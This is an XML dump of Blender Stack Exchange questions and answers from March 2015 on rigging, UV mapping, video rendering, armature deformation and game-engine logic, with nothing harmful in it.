  <row Id="27422" PostTypeId="1" AcceptedAnswerId="27430" CreationDate="2015-03-20T18:43:45.437" Score="0" ViewCount="201" Body="&lt;p&gt;While rendering an animation in blender is each frame considered a different scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have much experience with animations what I do know is that while creating a video several images are rendered (frames) and then combined at about 24FPS.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, are each of these frames considered a to be a different Scene?&lt;/p&gt;&#xA;" OwnerUserId="11175" LastEditorUserId="3247" LastEditDate="2015-03-22T21:22:46.393" LastActivityDate="2015-03-22T21:22:46.393" Title="Does Blender consider each frame to be separate scenes, while rendering animation?" Tags="&lt;animation&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27423" PostTypeId="1" CreationDate="2015-03-20T20:25:42.503" Score="1" ViewCount="833" Body="&lt;p&gt;As a learning exercise I am trying to use Blender's video editing capability to modify a mp4 file. The problem is that my rendered output can be played using VLC, Dragon, and gnome-mplayer but it won't play when using an HTML &amp;lt;video&amp;gt; element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be specific, I am starting with a copy of &lt;a href=&quot;https://archive.org/download/Sita_Sings_the_Blues/Sita_Sings_the_Blues_large.mp4&quot; rel=&quot;nofollow&quot;&gt;Sita Sings the Blues in H.264/MPEG4 format&lt;/a&gt;. I've clipped out ~ 15 seconds, added a fade-in effect strip at the beginning and also deleted the audio track. The result is an 18 second video which I then try to render and output as an mp4 file. I have tried a variety of output and encoding settings but the result is always the same: I can play it back perfectly in any of my standalone players but dropping it into a browser wont work. Firefox gives me a &quot;File is corrupt&quot; message and Chrome just sits there and does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I can generate AVI and MOV files that Firefox will play without complaint. Its only MP4 that is an issue. Unfortunately, I need to be able to play mp4 files in a browser for my intended application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody seen this type of problem before or have any suggestions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Larry&lt;/p&gt;&#xA;" OwnerUserId="13290" LastEditorUserId="241" LastEditDate="2015-03-20T20:53:52.300" LastActivityDate="2015-04-11T05:09:18.833" Title="Can not view MP4 output files in HTML" Tags="&lt;rendering&gt;&lt;video&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-04-11T06:11:02.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="27424" PostTypeId="1" AcceptedAnswerId="27448" CreationDate="2015-03-20T20:32:31.777" Score="3" ViewCount="1319" Body="&lt;p&gt;I want to add an object to a video. I tried to set transparent background, but it doesn't work. In VSE preview is want I want, and render result is what I get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rXBXn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7680" LastEditorUserId="3710" LastEditDate="2015-03-21T13:01:44.940" LastActivityDate="2015-03-26T09:10:04.810" Title="How can I add a second layer to a video?" Tags="&lt;cycles-render-engine&gt;&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27425" PostTypeId="1" CreationDate="2015-03-20T20:36:04.363" Score="0" ViewCount="189" Body="&lt;p&gt;I'm experimenting with a rig. I have a normal IK leg and 1 bone to help with stretches with &quot;Stretch to&quot; modifier. The problem is an unwanted rotation around its local Y whenever I move my IK chain to somewhat extreme angles. To demonstrate I've done a little video with this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=17SfFueTWSU&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=17SfFueTWSU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/35137&quot; rel=&quot;nofollow&quot;&gt;Blend file&lt;/a&gt; if someone want...&lt;/p&gt;&#xA;" OwnerUserId="7531" LastEditorUserId="7531" LastEditDate="2015-03-20T21:50:29.123" LastActivityDate="2015-03-20T21:50:29.123" Title="How to fight unwanted rotations when using &quot;Stretch to&quot; modifier?" Tags="&lt;rigging&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27426" PostTypeId="1" AcceptedAnswerId="27443" CreationDate="2015-03-20T20:37:45.020" Score="5" ViewCount="409" Body="&lt;p&gt;I'm trying to convince a colleague of mine to switch from AutoCAD LT to Blender for structural drafting purposes. Even though Blender was not originally designed for 2D operation, it has the advantages of A: being free (as opposed to $1000+) and, B: having a lot of potentially time-saving functionality (the loop-cut operation alone could probably cut 5% off of drafting time, not to mention the array/mirror modifiers, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my friend does not need most of Blender's 3D functionality, since structural drafting is almost exclusively done in 2D. In the best case scenario, I could configure him a stripped-down copy of Blender with all the exclusively 3D operations and hotkeys hidden, as well as rendering/materials/physics/etc. At the very least, I would like to configure Blender so that it is locked into orthographic top-view. How would I go about accomplishing either of these?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-03-21T06:17:00.677" Title="How to configure Blender for 2D functions only?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27427" PostTypeId="2" ParentId="27424" CreationDate="2015-03-20T21:45:52.963" Score="3" Body="&lt;p&gt;Make sure you have the sequencer enabled in the Post Processing section of your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xzIC9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-20T21:45:52.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27428" PostTypeId="1" AcceptedAnswerId="27429" CreationDate="2015-03-20T22:02:35.913" Score="0" ViewCount="263" Body="&lt;p&gt;I subdivided the arm at the elbow. Yet when I try to bend the arm at the elbow to move the elbow back, the shoulder moves instead. I am trying to position it like the arm drawn on the right.  Please help if you have any advice to get the arm to bend at the elbow. I am very very new to this.  Thank you for any help you can offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jWAUw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13271" LastActivityDate="2015-03-20T22:18:10.623" Title="Trouble bending an arm at the elbow once subdivided" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27429" PostTypeId="2" ParentId="27428" CreationDate="2015-03-20T22:18:10.623" Score="1" Body="&lt;p&gt;First you need to disable Limit selection to visible to see through the mesh, then select only the vertex of the elbow to bend the arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KdZka.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-03-20T22:18:10.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27430" PostTypeId="2" ParentId="27422" CreationDate="2015-03-21T00:48:57.743" Score="3" Body="&lt;p&gt;I can only answer the first question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each frame is NOT considered a different scene. Every scene has their own frames/timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &quot;Scene 1&quot; could have 250 frames, and &quot;Scene 2&quot; could have 150 frames. However, the first 150 frames in each of these scenes are different. Changing some animation in frame 50 in &quot;Scene 1&quot; does not affect frame 50 in &quot;Scene 2&quot; (unless you've specifically linked them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of Blender, you can see which scene you currently reside in:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fhjBh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-03-21T00:48:57.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27431" PostTypeId="1" AcceptedAnswerId="27432" CreationDate="2015-03-21T00:52:44.377" Score="1" ViewCount="479" Body="&lt;p&gt;The title basically says it all, but not in any explanation. I have a weapon, and, for instance, it fires every 30 tics if you hold down mouse click. I am not sure how fast 30 tics is as of now, but I know I can say someone can click fast enough to shoot faster than expected and implemented. How can I have clicking also work at 30 tics in logic bricks as simple as possible?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-21T01:09:19.373" Title="Hold down mouse click but not tap?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27432" PostTypeId="2" ParentId="27431" CreationDate="2015-03-21T01:03:14.517" Score="5" Body="&lt;p&gt;This is very easy but you are thinking about it from the wrong approach. Instead of setting a delay between the positive pulses, Create a reload property that is always increasing as long as that same property is less than a specific amount. In this case, it is 30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UXEnS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then have another property sensor limiting the mouse's input so that it will only send a positive pulse when the reload is at 30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using a system like this, you can hammer on the mouse as fast as you want, but it will only fire when the reload property reaches 30. and as soon as you click, The reload property starts increasing until it reaches 30, where you will be ready to fire again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/120/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=120&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-03-21T01:09:19.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27433" PostTypeId="1" AcceptedAnswerId="27655" CreationDate="2015-03-21T01:36:04.907" Score="5" ViewCount="2696" Body="&lt;p&gt;My goal is to rig the Ears of my quadruped character, which has huge and soft ears (rabbit-like).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a Spline-IK constraint for the ear's bones chain, and added soft body physics to the curve that control this constraint. Everything is working fine at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to &lt;strong&gt;give control&lt;/strong&gt; to the animator over each &lt;strong&gt;individual bones&lt;/strong&gt; of this chain, so that he can animate it the same way a basic FK chain would do, but keeping the soft body effect while playing back the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, &lt;strong&gt;hooking&lt;/strong&gt; the curve with empties will &lt;strong&gt;override the soft-body&lt;/strong&gt; simulation for the vertices of the curve which are hooked (which seems quite normal). In addition, there is a dependency cycle because :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Curve depends on Armature through Bone Parent.&#xA; Armature depends on Curve through Spline IK constraint.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried several workaround (adding empties, separate the ear bones in another object...) but it always results in a dependency cycle, just with more steps :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Armature_body depends on Armature_ears through Copy Rotation.&#xA; Empty depends on Armature_body through Bone Parent.&#xA; Curve depends on Empty through Parent.&#xA; Armature_ears depends on Curve through Spline IK.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, my question is: &lt;strong&gt;Is there a way to add soft body effect to a bones chain, but keeping FK control over it?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;em&gt;.blend&lt;/em&gt; file at the state of my progress: &lt;a href=&quot;http://polosson.com/public/Crastor_rig_B.SE.blend.zip&quot; rel=&quot;noreferrer&quot;&gt;Crastor Rig B.SE blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2015-03-21T15:23:35.093" LastActivityDate="2015-12-22T17:46:49.773" Title="Using spline-IK for bones but keeping control over individual bones" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27434" PostTypeId="1" AcceptedAnswerId="27435" CreationDate="2015-03-21T01:57:04.270" Score="3" ViewCount="1127" Body="&lt;p&gt;I have a door mesh that I am working on that needs to be able to swing open and closed (because it's a door...). I have finished modeling it, texturing it, etc. and now I am on to adding the armature and animations, but after adding an armature to the mesh, I'm getting some strange deformations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the door mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MsaRO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wireframe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Quyr0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And here are heatmaps for each of the two &quot;bones&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tf9WR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and Left:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yqIl8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So, as you can see, the bone on the left should move the entire left door with full weight, and vice versa for the door on the right. However, when I rotate the bones, this happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LAaTU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The door does not move completely with the movements of the bone. I want the door to move to the exact same position as the bone, but it appears to be lagging behind it and getting &quot;squished&quot; a bit. The effect gets worse as I turn the door even further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make sure that the door moves entirely with the bone and does not get &quot;squished&quot; like this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Steps to recreate:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create door mesh&lt;/li&gt;&#xA;&lt;li&gt;Add armature&lt;/li&gt;&#xA;&lt;li&gt;Move root bone to top of door.&lt;/li&gt;&#xA;&lt;li&gt;Duplicate root bone twice and place duplicates on either side of door&lt;/li&gt;&#xA;&lt;li&gt;Move bone joints as shown in the picture, so that the base of the bone is at the hinge of the door and the tip of the bone is at the center of the two doors.&lt;/li&gt;&#xA;&lt;li&gt;Parent the duplicates to the root bone, keeping the offset.&lt;/li&gt;&#xA;&lt;li&gt;Select door, then select armature.&lt;/li&gt;&#xA;&lt;li&gt;Ctrl+P to parent, as Armature Deform with empty groups.&lt;/li&gt;&#xA;&lt;li&gt;Select all vertices for the left door and assign to the Door.L bone VG (vertex group).&lt;/li&gt;&#xA;&lt;li&gt;Select all vertices for the right door and assign to the Door.R bone VG.&lt;/li&gt;&#xA;&lt;li&gt;Select all vertices and assign to the root bone VG.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Nothing too fancy. I just set up a basic armature.&lt;/p&gt;&#xA;" OwnerUserId="13293" LastEditorUserId="55" LastEditDate="2015-06-24T20:35:08.403" LastActivityDate="2015-06-24T20:35:08.403" Title="Armature Deformations 'Squishing' Solid Objects" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27435" PostTypeId="2" ParentId="27434" CreationDate="2015-03-21T02:07:03.227" Score="2" Body="&lt;p&gt;This is caused by the non-zero weighting of the &lt;code&gt;root&lt;/code&gt; bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the root bone while in weight paint mode to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get rid of it by selecting the door, and remove the 'root' vertex group in the properties panel, object data tab.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2015-03-21T02:07:03.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27436" PostTypeId="1" CreationDate="2015-03-21T02:48:28.467" Score="0" ViewCount="1156" Body="&lt;p&gt;I have a model that I unwrap using &quot;smart uv project&quot;.  None of the UV's are overlapping but they are squeezed somewhat close together, even when I set the island margin to 1.  I then click &quot;Face selection masking for painting&quot; in the Texture Paint mode, and it seems like it's going to work-- I can right-click on particular faces and paint onto those faces.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But: when I paint on faces, the paint goes past the lines of the UV, there's spill-over into the in between space. Face-selection isn't setting up a mask. And if another UV is there, that means other parts of the model are getting paid because of that spillover that I never wanted to be painted.  This seems like it will be an issue even if I unwrap it manually with seams and what have you since the issue isn't my unwrap-- it's that when I try to paint, it doesn't stick to within the lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Larger goal: I want to go face by face and add colors to the different faces, ideally using some kind of fill tool-- I think I could use different materials, but that would be disadvantageous for later use in Unity(?).)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(My issue is also &lt;a href=&quot;http://www.reddit.com/r/blenderhelp/comments/2zli4r/beginner_question_re_fill_tool_texturing_issue/&quot; rel=&quot;nofollow&quot;&gt;detailed here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="13294" LastEditorUserId="2217" LastEditDate="2015-03-21T03:21:41.190" LastActivityDate="2015-03-21T03:21:41.190" Title="Face Selection Masking for Painting not Working because Blender Tools Paint Outside those Areas?" Tags="&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27437" PostTypeId="1" AcceptedAnswerId="27440" CreationDate="2015-03-21T03:13:06.137" Score="1" ViewCount="661" Body="&lt;p&gt;I have a cuboid with height, width and length not of same scale. When I Smart Project UV map for this, I get islands of same size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I must get islands of different sizes as height, width and length are not of same scale for my cuboid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing anything wrong or is it normal ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vPN4Y.png&quot; alt=&quot;UV map for cuboid&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13295" LastEditorUserId="2217" LastEditDate="2015-03-21T03:19:42.263" LastActivityDate="2015-03-21T03:29:21.683" Title="UV map for cuboid produces islands of same size" Tags="&lt;mesh&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-21T14:15:55.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="27438" PostTypeId="1" CreationDate="2015-03-21T03:25:18.400" Score="2" ViewCount="86" Body="&lt;p&gt;I use Open Shading Language.&#xA;I need save event (if (speed_particle &gt; 0.5) {boolean_flag = 1}).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is that the variable &quot;flag&quot; is &lt;strong&gt;reset&lt;/strong&gt; every frame!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i save the value of the variable &quot;flag&quot;?&#xA;Or&#xA;How can i save the value of the variable &lt;strong&gt;in the file&lt;/strong&gt;?&#xA;(How can i write file using the Open Shading Language?)&lt;/p&gt;&#xA;" OwnerUserId="12898" LastActivityDate="2015-03-21T03:26:06.720" Title="OSL EventBoolFlag/Write text file" Tags="&lt;osl&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27440" PostTypeId="2" ParentId="27437" CreationDate="2015-03-21T03:29:21.683" Score="1" Body="&lt;p&gt;It sounds like you have scaled your mesh. Unwrap operations should always be done with the object scale set to 1 (to avoid problems like yours). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode if you select the object and look at the scale in the &lt;a href=&quot;https://blender.stackexchange.com/a/24526/2217&quot;&gt;properties region&lt;/a&gt;, you will see that it is not all &lt;code&gt;1&lt;/code&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/k2nnt.png&quot; alt=&quot;properties region with object scale highlighted&quot;&gt;&lt;br&gt;&#xA;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Scale&lt;/em&gt;, to apply the scale.&lt;br&gt;&#xA;Then in edit mode re-unwrap the mesh, and it will have the proper scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, if you were to use the &lt;em&gt;Unwrap&lt;/em&gt; operation, blender would warn you with this message.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Object has non-uniform scale, unwrap will operate on a non-scaled version of the mesh.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-03-21T03:29:21.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27441" PostTypeId="1" CreationDate="2015-03-21T04:38:24.537" Score="1" ViewCount="2553" Body="&lt;p&gt;I have models from an old game called Trespasser that were made on 3ds max back around 1998, and I cant figure out how to see or use them in blender.  I can provide one as a sample if needed, but I would like to see these models, and use them if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have 3ds max software, but I also did not realize they had a trial version, so I may do as suggested. I also did not see anything about this in the forum, so I do apologize about the duplicate question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : I cannot install  3ds max 2015, for some reason, but assuming it has to do with me using Windows Vista Ultimate instead of 7 or 8. I am looking into other means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the help though, maybe I can figure it out now.&lt;/p&gt;&#xA;" OwnerUserId="13206" LastEditorUserId="13206" LastEditDate="2015-03-23T01:21:05.347" LastActivityDate="2015-03-23T01:21:05.347" Title="Is there a way to Import old 3ds max files into blender" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-03-21T17:12:12.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="27442" PostTypeId="1" AcceptedAnswerId="27447" CreationDate="2015-03-21T05:11:12.903" Score="1" ViewCount="48" Body="&lt;p&gt;I have a quick question: when I was making some adjustments to my weapon, I removed a vertex group because the bone was lost (I don't know how), and I basically made a new bone. I used weight paint and set it all up, and tried to finish it by naming it the previous bone's name. It keeps adding .001, .002 (, etc) every time I try to name it. Why?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-21T10:01:30.373" Title="Bone not able to be named?" Tags="&lt;game-engine&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27443" PostTypeId="2" ParentId="27426" CreationDate="2015-03-21T06:17:00.677" Score="4" Body="&lt;p&gt;You want to setup the layout the way you want and save it as his startup.blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adjusting his preferences you can delete entries for changing orthographic/perspective, view front/top/right. As you probably know the shortcuts you want to disable you can search for the inputs by key-binding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The far extreme is to compile a custom build for him, with this you can also remove menu entries for changing the view orthographic/perspective and even hide the window types menu so he can't accidentally change the 3dview to something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can just teach him to use what he needs, and say just ignore all the other stuff that you don't need to use. I'm sure he can handle exploring other parts of blender if he feels adventurous and knows you to call when he gets lost.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-21T06:17:00.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27444" PostTypeId="2" ParentId="27441" CreationDate="2015-03-21T09:37:37.590" Score="0" Body="&lt;p&gt;click file, immport and then choose which format do you have. I don't know, what formats 3ds max uses but I'm sure you can export it as .stl or .obj&lt;img src=&quot;https://i.stack.imgur.com/r4srq.jpg&quot; alt=&quot;import&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2015-03-21T09:37:37.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27445" PostTypeId="1" AcceptedAnswerId="27446" CreationDate="2015-03-21T09:48:05.327" Score="6" ViewCount="388" Body="&lt;p&gt;I use for selecting RMB, but blender also has RMB for moving (hold and move mouse), but my computer is not superfast and my model is complicated enough to slow it down a little (over 800 000 verts.) and when I want to selcet a mesh, the slowed down computer automaticly thinks, that I hold it and starts to move the object. Is there a way how to turn off this function?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2015-03-21T09:58:58.963" Title="how to turn off moving objects by holding RMB?" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27446" PostTypeId="2" ParentId="27445" CreationDate="2015-03-21T09:58:58.963" Score="5" Body="&lt;p&gt;Go to User_Preferences-&gt;Input-&gt;Mouse-&gt;&lt;strong&gt;Tweak_Threshold&lt;/strong&gt; and set it to higher value :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/adtXe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-21T09:58:58.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27447" PostTypeId="2" ParentId="27442" CreationDate="2015-03-21T10:01:30.373" Score="3" Body="&lt;p&gt;The old bone is still there it is on another layer to see all armature layers go to Properties_Editor-&gt;Data-&gt;Skeleton and select a layer (or hold shift and select multiple) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BlS39.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to move the bone to another layer you select the bone from the view(if visible) or from the Outliner ,then go to Properties_Editor-&gt;Bone-&gt;Relations-&gt;layers and select a layer :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ihGZz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-21T10:01:30.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27448" PostTypeId="2" ParentId="27424" CreationDate="2015-03-21T11:27:03.083" Score="3" Body="&lt;p&gt;I've used cycles for rendering and I've simply forgot to enable &lt;strong&gt;Transparent&lt;/strong&gt; option. Go to &lt;strong&gt;Render Panel &gt; Film&lt;/strong&gt; and make sure the checkbox is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WC4EP.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7680" LastEditorUserId="3710" LastEditDate="2015-03-21T13:01:09.070" LastActivityDate="2015-03-21T13:01:09.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27451" PostTypeId="1" CreationDate="2015-03-21T14:31:40.560" Score="11" ViewCount="2921" Body="&lt;p&gt;Trying to do some golf course layouts in 2.73a. Would like to use topo elevation info. Currently have grayscale .jpg of site - top view. How do I get this into Blender as a &quot;lumpy&quot; plane?&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorDisplayName="user1853" LastEditDate="2015-03-21T15:52:54.993" LastActivityDate="2020-07-19T20:18:06.540" Title="Landscape topography from grayscale image" Tags="&lt;topology&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27452" PostTypeId="1" CreationDate="2015-03-21T14:44:20.543" Score="0" ViewCount="111" Body="&lt;p&gt;I was recently working on a blender game. It was cloning the idea of flappy bird.. I was doing it for my own purposes to teach myself (not to put up a clone on the app store.) So I made a cube( I haven't textured anything yet) and made it a rigid body after I put in a motion for the spacebar key. Then set the force on the motion option to 20. The gravity of the world is 9.80. Then put an always sensor on the Y axis and started to flap. When I flap to a certain point it glitches out hard on me. My cube goes out of control and it starts spinning around. My camera (which is parented to that object) Spins out of control too. It then falls into the abyss. I'm on Blender Game Engine and I need help on getting it to stop the glitch.&lt;/p&gt;&#xA;" OwnerUserId="13300" LastEditorUserId="2217" LastEditDate="2015-03-21T15:02:17.557" LastActivityDate="2015-03-21T15:02:17.557" Title="Game-Engine fly glitch" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
